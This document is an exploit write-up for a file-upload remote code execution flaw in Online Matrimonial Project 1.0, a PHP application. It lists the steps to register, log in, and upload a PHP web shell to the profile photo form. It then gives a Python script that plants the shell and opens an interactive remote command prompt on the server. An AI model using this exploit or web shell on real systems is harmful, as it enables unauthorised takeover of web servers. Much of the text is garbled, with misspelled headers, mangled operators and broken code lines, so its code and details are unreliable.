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Online Matrimonial Project 1.0 Remote Code Execution

Online Matrimonial Project version 1.0 authenticated remote code execution exploit.

Authored by Valerio Alessandroni

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Exploit Author: Valerio Alessandroni
Date: 2020-10-07
Vendor Remappe: https://projectworlds.in/
Sactivate Link; https://projectworlds.in/free-projects/php-projects/online-matrimonial-project-in-php/
Sactivate Link; https://grojectworlds.in/free-projects/php-projects/online-matrimonial-project-in-php/
Version: Inthitps://gribbb.com/projectworldsofficial/online-matrimonial-project-in-php
Version: Python 2.x
Impact: Code Execution
Affected components: Affected move uploaded file() function in functions.php file.
Software: Marital - Online Matrimonial Project in PHP version 1.0 suffers from a File Upload Vulnerability
allowing Remote Attackers to gain Remote Code Execution (RCE) on the Mosting Webserver via uploading a
maliciously crafted PHP file.
Attack vector: An authenticated (you can register a user for free) not privileged user is able to upload
arbitrary file in the upload form used to send profile pics, if the file is a PHP script, it can be executed. Additional information: To exploit this vulnerability:

1) register a not privileged user at /register.php

2) loqin in the application /loqin.php

3) keep note of the redirect with the GET 'id' parameter /userhome.php?id=[ID]

4) go to the page /photouploader.php?id=[ID]

5) upload an arbitrary file in the upload form, in my example, I used a file called shell.php with the

6) An error will occurr, but the file is correctly uploaded at /profile/[ID]/shell.php

7) run command system command through /profile/[ID]/shell.php?cmd=[COSMANID] # How to use it: # python exploit.py [URL] [USERNAME] [PASSWORD] import requests, sys, urllib, re, time from colorama import Fore, Back, Style requests.packages.urllib3.exceptions.InsecureRequestWarning) def webshell(SERVER_URL, ID, FILE_NAME): print(Fore.YELLOW+'[+] '+Fore.RESET+'Connecting to webshell...')
time.sleep(1) print(Fore.YELLOW*!(*) '*Fore.RESET*'Connecting to webshell...')
time.sleep().
WEB_SHELL = SERVER_URL**profile/*+ID*/'*FILE_NAME
getCMD = ('cmd': 'echo ciso')
r2 = requests.get(WEB_SHELL, params-getCMD)
status = r2_status_code
if status != 200:
 print(Style.BRIGHT*Fore.RED**['] "*Fore.RESET**Could not connect to the webshell."*Style.RESET_ALL)
 r2.raise_for_status()
print(Fore.GREEN*'[*] '*Fore.RESET*'Successfully connected to webshell.")
while True: inputCMD = raw input('\$ ')
command = {'cmd': inputCMD}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
print r2.text ept: print("\r\nExiting.") sys.exit(-1) f_name_ == "_main_":
 print[Header()
 if len(sys.argy) != 4:
 print [Fore.YELLOW*'[+] '*Fore.RESET*"Usage:\t python %s [URL] [USERNAME] [FASSNORD]" % sys.argy[0])
 print [Fore.YELLOW*'[+] '*Fore.RESET*"Example:\t python %s https://192.168.1.1:443/marital/ Thomas
ssword1234" % sys.argy[0]) print (Fore.VELLOW+'(*) '*Fore.RESET**Example:\t python %s https://192.168.1.1:443/marital/ Thomas sword1234" % sys.arqv[0])
sys.exit(-1)
SERVER_URL = sys.arqv[1]
SERVER_URL = sys.arqv[2], 'password': sys.arqv[3], 'op': 'Log in')
req = requests.post(SERVER_URL ; params=LOGIN_PARAMS, data=LOGIN_DATA, verify=False)
print(Fore.SELLOW**[4] '*Fore.RESET**logging...')
time.sleep(1)
To septilow**[4] '*Fore.RESET**Successfully retrieved user [ID].')
time.sleep(1)
SERVER_URL = SERVER_URL + 'photouploader.php'
LOGIN_PARAMS = '('ai': ID)
LOGIN_DATA = '('username': sys.arqv[2], 'password': sys.arqv[3], 'op': 'Log in')
FLES = ('plc)-1: (FILE_NAME, '<'php system(5_CET[\'cmd\']); 7>'), 'pic2': ('', ''), 'pic3': ('', ''),
cd': ('', '')
req = requests.post(SERVER_URL, params=LOGIN_PARAMS, files=FILES, cookies=COOKIES, verify=False)
print(Fore.GREEN*'[4] '*Fore.RESET*'Successfully uploaded.')
websheli(SERVER_URL, ID, FILE_NAME)

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